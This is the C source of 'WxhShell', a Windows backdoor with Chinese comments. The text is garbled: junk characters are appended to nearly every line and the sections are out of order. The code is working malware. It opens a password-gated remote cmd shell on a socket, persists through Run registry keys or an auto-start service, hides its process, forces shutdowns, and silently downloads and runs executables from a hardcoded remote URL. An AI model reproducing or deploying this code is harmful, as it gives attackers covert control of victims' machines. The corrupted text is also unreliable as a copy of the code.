  // 关机 %G9: M;|'  
  case 'd': { =>ooB/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F(E3U'G  
    if(Boot(SHUTDOWN)) r!eCfV7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9moenkL  
    else { }8E//$J  
    closesocket(wsh); ?}*A/-Hx0U  
    ExitThread(0); 'T54k  
    } Y21,!$4gb  
    break; Q1qf'u  
    } &(!Sy?tNe  
  // 获取shell x{u7#s1|/  
  case 's': { pm<zw-  
    CmdShell(wsh); {r2-^Q HF  
    closesocket(wsh); YQ>P{I%J  
    ExitThread(0); ;I'pC?!y  
    break; jKV,i?  
  } [3`T/Wm  
  // 退出 {Y{*(5YV  
  case 'x': { k[oU}~*U+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A(y^1Nm  
    CloseIt(wsh); l 6wX18~XJ  
    break; \LB =_W$  
    } nV I\Or[  
  // 离开 XZhX%OT!  
  case 'q': { <\k=j{@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5q[0;`J  
    closesocket(wsh); q_Td!?2?  
    WSACleanup(); 2Up1 FFRx  
    exit(1); ;$W/le"Xr  
    break; +O23@G?x  
        } '>(R'g42n  
  } fRo_rj _  
  } V.;,1%  
)L#C1DP#  
  // 提示信息 gvYib`#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {t: ZMUV  
} C)> ])'S  
  } gBRhO^Sz  
)f4D2c&VE  
  return; {N+N4*  
} Vm]ltiTVk  
P>%\pCJ])  
// shell模块句柄 S5ka;g  
int CmdShell(SOCKET sock) Xz5 aTJ&  
{ gP.Q_/V  
STARTUPINFO si; T{M~*5$  
ZeroMemory(&si,sizeof(si)); DB'pRo+U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }J t( H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *a Y`[,4#$  
PROCESS_INFORMATION ProcessInfo; *&)<'6  
char cmdline[]="cmd"; c8mcJAc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (x9d7$2  
  return 0; $NP5Z0v7  
}  D/hQ{T  
za7h.yK}  
// 自身启动模式 IWN:GFH(  
int StartFromService(void) 42LlR 0  
{ VAf~,T]Ww  
typedef struct 6~\z]LZ  
{ uf,4GPo,  
  DWORD ExitStatus; N$J)Ow  
  DWORD PebBaseAddress; T{u!4Yu  
  DWORD AffinityMask; ZjLzS]\a  
  DWORD BasePriority; sqHv rI  
  ULONG UniqueProcessId; =tl[?6  
  ULONG InheritedFromUniqueProcessId; s}A)sBsaP3  
}   PROCESS_BASIC_INFORMATION; W#|]m=2W  
?}sh@;]*h  
PROCNTQSIP NtQueryInformationProcess; yG58?5\9  
#5O'XH5_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V%&t'H{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -CW&!oW  
.['@:}$1  
  HANDLE             hProcess; [6qa"Ie  
  PROCESS_BASIC_INFORMATION pbi; ~T<#HSR`  
HGmgQ>q@M$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s)<#a(!  
  if(NULL == hInst ) return 0; 1QM*oj:  
J=>?D@K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eSXt"t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %>'2E!%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /h%<e  
v'*Q[ ('  
  if (!NtQueryInformationProcess) return 0; vBsd.2t~  
>x)YdgJ*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WMBntB   
  if(!hProcess) return 0; 3ydOBeY  
w\=zTHo88  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;nG"y:qq  
]@1YgV  
  CloseHandle(hProcess); XhFa9RC  
ke|v|@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R3F>"(P@tS  
if(hProcess==NULL) return 0; !c:Q+:,H  
Ea1{9> S  
HMODULE hMod; "+s#!Fh *  
char procName[255]; LU4\&fd  
unsigned long cbNeeded; 5bFE;Y;  
*=0Wh@?0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PEZElB ;  
1d!7GrD F  
  CloseHandle(hProcess); WZ5[tZf  
Mw7!w-1+  
if(strstr(procName,"services")) return 1; // 以服务启动 +Tc4+q!  
"5e~19  
  return 0; // 注册表启动 >]Hz-2b  
} @~fg[)7M  
MK[l*=\s  
// 主模块 : N ^1T6v  
int StartWxhshell(LPSTR lpCmdLine) Ken|!rL  
{ FCQoz"M  
  SOCKET wsl; 8YraW|H  
BOOL val=TRUE; n1o/-UY  
  int port=0; <Hhl=6op  
  struct sockaddr_in door; @``kt*+K+  
+Uq9C-Iu  
  if(wscfg.ws_autoins) Install(); g~.,-V}  
Y5=~>*e  
port=atoi(lpCmdLine); !U}A1)  
@B ~! [l  
if(port<=0) port=wscfg.ws_port; +GI[ Kq  
pOD|  
  WSADATA data; nWN~G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V4qHaG  
b$[_(QUw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (.P;VH9R\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y&9S+  
  door.sin_family = AF_INET; VgZ<T,SuW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PB4E_0}h  
  door.sin_port = htons(port); >1a- }>r  
Vj4 if@Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $/],QD_;"  
closesocket(wsl); O;f^' N  
return 1; 4 C[,S|J  
} fOJk+? c  
Rp A76ug  
  if(listen(wsl,2) == INVALID_SOCKET) { Nv*x^y]  
closesocket(wsl); >OE.6)'Rm  
return 1; [Z,A quCU(  
} r\vB-nJ  
  Wxhshell(wsl); K7<'4i~k  
  WSACleanup(); jd l1Q<Z  
=nFT0];  
return 0; nSsVONHfa  
s8}:8  
} M ^ ZoBsZ  
aRq7x~j )\  
// 以NT服务方式启动 *)ed(+b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J:f>/  
{ l}335;(  
DWORD   status = 0; W)^:*z  
  DWORD   specificError = 0xfffffff; '15j$q  
BQSA;;n]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yt>Pf <AI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yNc>s/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yc=y  Vh  
  serviceStatus.dwWin32ExitCode     = 0; |_F-Abk  
  serviceStatus.dwServiceSpecificExitCode = 0; ,TOLr%+v~n  
  serviceStatus.dwCheckPoint       = 0; ) EEr?"  
  serviceStatus.dwWaitHint       = 0; 7t5X  
A/{pG#if]3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IG`~^-}7lR  
  if (hServiceStatusHandle==0) return; 2P$lXGjh  
5YC56,X  
status = GetLastError(); I.R3?+tZ  
  if (status!=NO_ERROR) 10}oaL S  
{ PZNo.0M70  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vbqI$F[s  
    serviceStatus.dwCheckPoint       = 0; w?C _LP  
    serviceStatus.dwWaitHint       = 0; )g:UH Ns  
    serviceStatus.dwWin32ExitCode     = status; [2 2IF  
    serviceStatus.dwServiceSpecificExitCode = specificError; ="@W)"r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1?(BWX)7  
    return; Qu!\Cx@  
  } <tf4j3lwH  
{9;~xxTo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v7Knu]  
  serviceStatus.dwCheckPoint       = 0; <ofXNv;`  
  serviceStatus.dwWaitHint       = 0; X$ /3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \q3H#1A  
} tyP-J4J  
f*XF"@ZQV  
// 处理NT服务事件,比如:启动、停止 z$7YC49^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +Jt"JJ>%k  
{ P(X#w  
switch(fdwControl) PC\Xm,,  
{ IS&`O= 7  
case SERVICE_CONTROL_STOP: 0#K@^a  
  serviceStatus.dwWin32ExitCode = 0; r{\cm Ds  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [.6>%G1C  
  serviceStatus.dwCheckPoint   = 0; mI9h| n  
  serviceStatus.dwWaitHint     = 0;  cD0  
  { F1M@$S ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hp-< 8Mf  
  } ,z1# |Y  
  return; n/$BdFH  
case SERVICE_CONTROL_PAUSE: C^n L{ZP,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v^@L?{" }8  
  break; y{u6t 3  
case SERVICE_CONTROL_CONTINUE: yl 0?Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {6 #3`  
  break; x ?^c:`.  
case SERVICE_CONTROL_INTERROGATE: $nn~K  
  break; <g*rTqT'  
}; M|n)LyL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %M}zi'qQ?  
} rFx2 S  
/4_}wi\  
// 标准应用程序主函数 *N>Qj-KAM_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =7e8N&-nv  
{ wW%I < M  
`W]a @\EYA  
// 获取操作系统版本 T{uktIO/  
OsIsNt=GetOsVer(); @;rVB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ykM#EyN  
g,,cV+  
  // 从命令行安装  u`bWn  
  if(strpbrk(lpCmdLine,"iI")) Install(); n:*+pL;  
N e^#5T  
  // 下载执行文件 jb7=1OPD_  
if(wscfg.ws_downexe) { 'Fonn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %i.|bIhmm  
  WinExec(wscfg.ws_filenam,SW_HIDE); WZm^:,  
} 5@0c@Q  
~B=\![  
if(!OsIsNt) { 2~ 'Q#(  
// 如果时win9x,隐藏进程并且设置为注册表启动 #m$H'O[WG\  
HideProc(); xje{ kx#  
StartWxhshell(lpCmdLine); yLDHJ}R  
} ,7j`5iq[m  
else  fx;5j;  
  if(StartFromService()) r#Pd@SV  
  // 以服务方式启动 8U;!1!+ 7)  
  StartServiceCtrlDispatcher(DispatchTable); {;p /V\   
else 8ZIv:nO$  
  // 普通方式启动 iGhapD  
  StartWxhshell(lpCmdLine); ZzKn,+  
Xrz0ch  
return 0; R=e`QMq  
} =pk'a_P 8-  
qHKZ5w  
Yt#($}p  
ko5\*!|:lj  
=========================================== 8p5'}Lq  
VqbiZOZ@  
D>|:f-Z6Z  
,7QnZ=F  
]-}a{z  
{^\-%3$  
" Xs!eV  
plf<O5'  
#include <stdio.h> {'b8;x8h  
#include <string.h> O Z#?  
#include <windows.h> `3+U6>U [  
#include <winsock2.h> QqwX Fk  
#include <winsvc.h> !3b%Q</M H  
#include <urlmon.h> Wt`D  
3% P?1s  
#pragma comment (lib, "Ws2_32.lib") "(xS  
#pragma comment (lib, "urlmon.lib") .H>Rqikj  
S5d{dTPq  
#define MAX_USER   100 // 最大客户端连接数 q6ikJ8E8b  
#define BUF_SOCK   200 // sock buffer kl={L{r  
#define KEY_BUFF   255 // 输入 buffer ;T_9;RU<'b  
y^nR=Q]_  
#define REBOOT     0   // 重启 eT|_0kx1  
#define SHUTDOWN   1   // 关机 Y{O&- 5H^|  
ex| kD*=  
#define DEF_PORT   5000 // 监听端口 gSGe]  
T+[e6/|  
#define REG_LEN     16   // 注册表键长度 =CVw0'yZ  
#define SVC_LEN     80   // NT服务名长度 ko:I.6-K  
wH`@r?&  
// 从dll定义API n;=A'g|Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e7qT;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t/$xzsoJZr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3Yf$WE8#l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gON6jnDO  
"/ "qg  
// wxhshell配置信息 ;CvGIp&y  
struct WSCFG { ~H$XSNPi  
  int ws_port;         // 监听端口 p']AXJ`Z  
  char ws_passstr[REG_LEN]; // 口令 M ?3N  
  int ws_autoins;       // 安装标记, 1=yes 0=no kzmt'/L8  
  char ws_regname[REG_LEN]; // 注册表键名 [yyV`&  
  char ws_svcname[REG_LEN]; // 服务名 wiGwN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]lo1Kw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |HA7 C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KF'M4P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &Ch)SD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |HEw~x<=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t,+S~Cj|  
iWCV(!  
}; Z-<u?f8{*  
joA+  
// default Wxhshell configuration }ot _k-  
struct WSCFG wscfg={DEF_PORT, O`u!P\  
    "xuhuanlingzhe", em]K7B=  
    1, K$ &wO.  
    "Wxhshell", gP<_DEd^`  
    "Wxhshell", ,YY#ed&l  
            "WxhShell Service", '-vy Q^  
    "Wrsky Windows CmdShell Service", n~ql]Ln  
    "Please Input Your Password: ", [v`4OQF/  
  1, gfYB|VyWo  
  "http://www.wrsky.com/wxhshell.exe", 3/AUV%+  
  "Wxhshell.exe" . $k"+E  
    }; moR]{2Cd{  
vhHMxOZ;  
// 消息定义模块 G4}q*&:k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wgyO%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V4-=Ni]k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]R@G5d  
char *msg_ws_ext="\n\rExit."; 2tv40(M:<  
char *msg_ws_end="\n\rQuit."; `#f=&S?k  
char *msg_ws_boot="\n\rReboot..."; caP  
char *msg_ws_poff="\n\rShutdown..."; |z'?3?,~  
char *msg_ws_down="\n\rSave to "; j+9 S  
R]Oy4U,f  
char *msg_ws_err="\n\rErr!"; W'jXIO  
char *msg_ws_ok="\n\rOK!"; E8i:ER $$7  
@NIypi$T  
char ExeFile[MAX_PATH]; T]W -g  
int nUser = 0; Q7r,5w& cm  
HANDLE handles[MAX_USER]; 7j:{rCp3J  
int OsIsNt; gp HwiFc  
9qDGxW '1  
SERVICE_STATUS       serviceStatus; Dkb&/k:)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2FzS_\":I  
RV` j>1  
// 函数声明 =M 5M;  
int Install(void); P1wRt5  
int Uninstall(void); ='0!B]<G  
int DownloadFile(char *sURL, SOCKET wsh); vR$5ItnT  
int Boot(int flag); &w0=/G/T=~  
void HideProc(void); ak>NKK8P  
int GetOsVer(void); kKM%    
int Wxhshell(SOCKET wsl); b..$5  
void TalkWithClient(void *cs); Z-|C{1}A  
int CmdShell(SOCKET sock); \DqxS=o;  
int StartFromService(void); qfu2}qUX~%  
int StartWxhshell(LPSTR lpCmdLine); p]&Q`oh  
CK(ev*@\D,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ? 6d4T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _|ib@Xbin  
=LxmzQO#  
// 数据结构和表定义 }NCvaO  
SERVICE_TABLE_ENTRY DispatchTable[] = a1SOC=.M;  
{ BUinzW z{a  
{wscfg.ws_svcname, NTServiceMain}, mj=|oIMwT  
{NULL, NULL} BA-nxR  
}; H4NEB1 TO>  
)F9r?5}v4x  
// 自我安装 %, et$1`g  
int Install(void) 3+3m`%G  
{ Ra5'x)m36)  
  char svExeFile[MAX_PATH]; ~ fEs!hl  
  HKEY key; s RQh~5kM  
  strcpy(svExeFile,ExeFile); fR4l4 GU?)  
M7R&J'SAY  
// 如果是win9x系统,修改注册表设为自启动 t3$gwO$  
if(!OsIsNt) { |nN/x<v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { io7U[#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C-u/{CP  
  RegCloseKey(key); Ok&>[qu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HY;?z `=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ':D&c  
  RegCloseKey(key); 1:zu$|%7  
  return 0; g@i>R>  
    } 4D$sFR|?t  
  } Pki4wDCTW  
} "GI&S%F  
else { Ok~{@\  
`?^w  
// 如果是NT以上系统,安装为系统服务 &hN&nH"PC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tki/ d\!+  
if (schSCManager!=0) ~88 Tz+  
{ e[mhbFf-  
  SC_HANDLE schService = CreateService ,'CWt]OS'  
  ( 7&V^BW  
  schSCManager, |.O!zRm  
  wscfg.ws_svcname, h5rP]dbhXU  
  wscfg.ws_svcdisp, R.IUBw5;/  
  SERVICE_ALL_ACCESS, arS'th:j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BddECY,z  
  SERVICE_AUTO_START, NcBe|qxQ  
  SERVICE_ERROR_NORMAL, ^FM9} t/U,  
  svExeFile, ]H#Rm#q  
  NULL, s9kLB.  
  NULL, q'F_ j"  
  NULL, yj'' \  
  NULL, ` .(S#!gw  
  NULL <ytKf<a%e  
  ); Mp"ci+Iu  
  if (schService!=0) @gSFvb bc  
  { 2~WFLD  
  CloseServiceHandle(schService); _$\5ZVe  
  CloseServiceHandle(schSCManager); cJ##K/es  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b2X'AHK S  
  strcat(svExeFile,wscfg.ws_svcname); P^3m:bE]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \1mM5r~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Oq,[,W  
  RegCloseKey(key); &U$8zn~[k  
  return 0; ]~00=nXFM/  
    } Cxk$"_  
  } _Sgk^i3v  
  CloseServiceHandle(schSCManager); Uc_`Eh3y  
} Fy@#r+PgWp  
} nj^q@h  
ccn`f]5w  
return 1; 5m.KtnT)  
} +yb$[E*  
f'6qJk%J  
// 自我卸载 Uk *;C  
int Uninstall(void) iCnUnR{  
{ T dP{{&'9  
  HKEY key; 3H'nRK},  
FK@ f'  
if(!OsIsNt) { AIl$qPKj&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oIvnF:c  
  RegDeleteValue(key,wscfg.ws_regname); lii ]4k+z  
  RegCloseKey(key); x1:Pj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 52MCUl  
  RegDeleteValue(key,wscfg.ws_regname); r($_>TS&"  
  RegCloseKey(key); foz5D9sQ  
  return 0; kyxSIQ^  
  }  9VUm=Z#`  
} n `m_S  
} L_U3*#Zdz7  
else { c7g.|R  
X4 }`>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1R2o6`_  
if (schSCManager!=0) /%uZKG P  
{ c. TB8Ol  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /;<e.  
  if (schService!=0) _7=pw5[  
  { iVKbGgA  
  if(DeleteService(schService)!=0) { QypiF*fSU  
  CloseServiceHandle(schService); *{.&R9#7U'  
  CloseServiceHandle(schSCManager); s0)qlm*  
  return 0; p&OJa$N$[  
  } V+=*2?1  
  CloseServiceHandle(schService); %on9C`/  
  } 9xK4!~5V  
  CloseServiceHandle(schSCManager); h nsa)@  
} @0vC v  
} F9k I'<Q  
)&Kn (l)  
return 1; +e0dV_T_>  
} | or 8d>,  
T$n>7X-r  
// 从指定url下载文件 wWJQ ~i?  
int DownloadFile(char *sURL, SOCKET wsh) %Rd~|$@>x  
{ ]{AOh2Z.hv  
  HRESULT hr; 3{Ek-{ 9  
char seps[]= "/"; JA?,0S  
char *token; a(}VA|l  
char *file; +q #Xy0u  
char myURL[MAX_PATH]; GP{$v:RG  
char myFILE[MAX_PATH]; "rjv5*z^&  
"#-Nqq  
strcpy(myURL,sURL); mmrW`~-  
  token=strtok(myURL,seps); "[Qb'9/Jc  
  while(token!=NULL) =j|v0& AGC  
  { t,=@hs hN  
    file=token; r,u<y_YW  
  token=strtok(NULL,seps); 28T\@zi  
  }  NVO9XK  
Jt-X mGULB  
GetCurrentDirectory(MAX_PATH,myFILE); [GR]!\!%~  
strcat(myFILE, "\\"); ]cF1c90%  
strcat(myFILE, file); <\1}@?NGC  
  send(wsh,myFILE,strlen(myFILE),0); 9C557$nS^  
send(wsh,"...",3,0); 9n>$}UI\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]RH=s7L  
  if(hr==S_OK) ><;l:RGK|  
return 0; GOYn\N;V2  
else )Lc<;=w'9  
return 1; 85r)>aCMn  
f MY;  
} ).0V%}>  
*? K4!q'  
// 系统电源模块 /S7+B ]  
int Boot(int flag) ]z-']R;  
{ l zfD)TWb  
  HANDLE hToken; ' "ZRD_"  
  TOKEN_PRIVILEGES tkp; )l+XDI  
#&^ZQs<  
  if(OsIsNt) { H$~M`Y9I~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |8&-66pX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !X5o7b)  
    tkp.PrivilegeCount = 1; \LIy:$`8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~In{lQ[QX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S2J#b"Y  
if(flag==REBOOT) { fKL'/?LD]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G$;>ueM  
  return 0; QD$}-D[  
} [c&2i`C  
else { x @1px&^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tWpl`HH  
  return 0; KI E k/]<H  
} o"'iX UJ  
  } u^`eKak"l  
  else { OJMvn'y  
if(flag==REBOOT) { R&6n?g6@/V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]s*5[ =uc2  
  return 0; 3C277nx  
} KqN!?anPr  
else { =ud `6{R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .cw!ls7d  
  return 0; kRmj"9oA  
} #V<`U:.  
} n_<mPU  
HA$Y1}  
return 1; r#LnDseW  
} y._'K+nl  
sW;7m[o  
// win9x进程隐藏模块 rs[?v*R74  
void HideProc(void) @4;HC=~  
{ %  2I  
"Jb3&qdU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LWD.  
  if ( hKernel != NULL ) E9^(0\Z I  
  { ^ [ET&"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;LHDh_.pX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pU M&"V  
    FreeLibrary(hKernel); $ I#7dJ"*  
  } `Jn,IDq  
%/P=m-K  
return; 0;}Aj8Fle  
} KuA>"X  
6dF$?I&  
// 获取操作系统版本 D ~Z=0yD  
int GetOsVer(void) 3"5.eZSOW  
{ a*V9_Px$&  
  OSVERSIONINFO winfo; D^|jZOJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Uf# PoQ!y  
  GetVersionEx(&winfo); 'KSa8;:=C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .FuA;:@%\  
  return 1; a lrt*V|=  
  else CNut{4  
  return 0; }.'Z =yy  
} F#6cF=};@  
DYX-5~;!  
// 客户端句柄模块 /E)9v$!  
int Wxhshell(SOCKET wsl) Z,3 CC \  
{ <lFdexH"T  
  SOCKET wsh; ]x2Jpk99a  
  struct sockaddr_in client; ~NxEc8Y  
  DWORD myID; !&W|myN^  
~ 9=27 p  
  while(nUser<MAX_USER) KZ]r8  
{ .%_)*NUZ  
  int nSize=sizeof(client); 4&|C}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )B81i! q  
  if(wsh==INVALID_SOCKET) return 1; TfL4_IAG.  
X&s7% ]n+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :ztyxJv1  
if(handles[nUser]==0) CQ<8P86gt  
  closesocket(wsh); RYt6=R+f  
else J=):+F=  
  nUser++; 5lO^;.cS,  
  } JfkTw~'R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q'.;W@m  
( ]OFS;%  
  return 0; K<#-"Xe;  
} 3)y{n%3L  
Lj iI+NJ  
// 关闭 socket .?f:Nb.O  
void CloseIt(SOCKET wsh) ovz#  
{ +I&J7ICV0  
closesocket(wsh); r]0(qg  
nUser--; `0?^[;[u[  
ExitThread(0); !Vb,zQ  
} C,.-Q"juH  
HM):"  
// 客户端请求句柄 @m?{80;uQ  
void TalkWithClient(void *cs) >{QdMn  
{ JPsSw  
@LcT-3u  
  SOCKET wsh=(SOCKET)cs; qp\BV#E  
  char pwd[SVC_LEN]; [yC"el6PM  
  char cmd[KEY_BUFF]; /tP7uVL R  
char chr[1]; Ae6("Oid  
int i,j; ?ZaD=nh$mK  
v`SY6;<2  
  while (nUser < MAX_USER) { r sLc&2F  
W<Z$YWr  
if(wscfg.ws_passstr) { FZpsL-yx^N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d5:tSO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K@6`-|I  
  //ZeroMemory(pwd,KEY_BUFF); Y#`Lcg+r,  
      i=0; awFhz 6   
  while(i<SVC_LEN) { ?ql2wWsQO  
O ^0"  
  // 设置超时 Mb/L~gd"  
  fd_set FdRead; 9Eg&CZ,9$D  
  struct timeval TimeOut; JR)/c6j  
  FD_ZERO(&FdRead); SF^x=[ir  
  FD_SET(wsh,&FdRead); .EG* +,  
  TimeOut.tv_sec=8; odpUM@OAW  
  TimeOut.tv_usec=0; |Ytg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6b<+8w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y@`~9$  
b_l3+'#ofM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ESIzGaM  
  pwd=chr[0]; 5U~OP  
  if(chr[0]==0xd || chr[0]==0xa) { HlPG3LD!  
  pwd=0; >t0%?wj)Y  
  break; @zrNN>  
  } GmbIFOT~  
  i++; # kEOKmO  
    } J\{ $ot  
i b]vX-  
  // 如果是非法用户,关闭 socket (Xo SG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +0"x|$f~  
} KmL$M  
87<9V.s 2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); # k9 <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +#s;yc#=2  
f;wc{qy  
while(1) { xr.XU'  
~ezCu_  
  ZeroMemory(cmd,KEY_BUFF); qm'b'!gq~  
sT`^ljp4  
      // 自动支持客户端 telnet标准   J$QBI&D  
  j=0; LN^UC$[tk  
  while(j<KEY_BUFF) { {zP#woz2Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0[)VO[  
  cmd[j]=chr[0]; PrSkHxm  
  if(chr[0]==0xa || chr[0]==0xd) { l E^*t`+  
  cmd[j]=0; c#QFG1  
  break; qo_]ZKL44  
  } e\9g->DUs  
  j++; _!!}'fMC  
    }  M6Pw /S!  
] H&c'  
  // 下载文件 C(o.Cy6  
  if(strstr(cmd,"http://")) { 8%ik853`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b+@D_E-RJ  
  if(DownloadFile(cmd,wsh)) IqUp4}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>2]Xx% \  
  else HabzCH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Tr&`Hi  
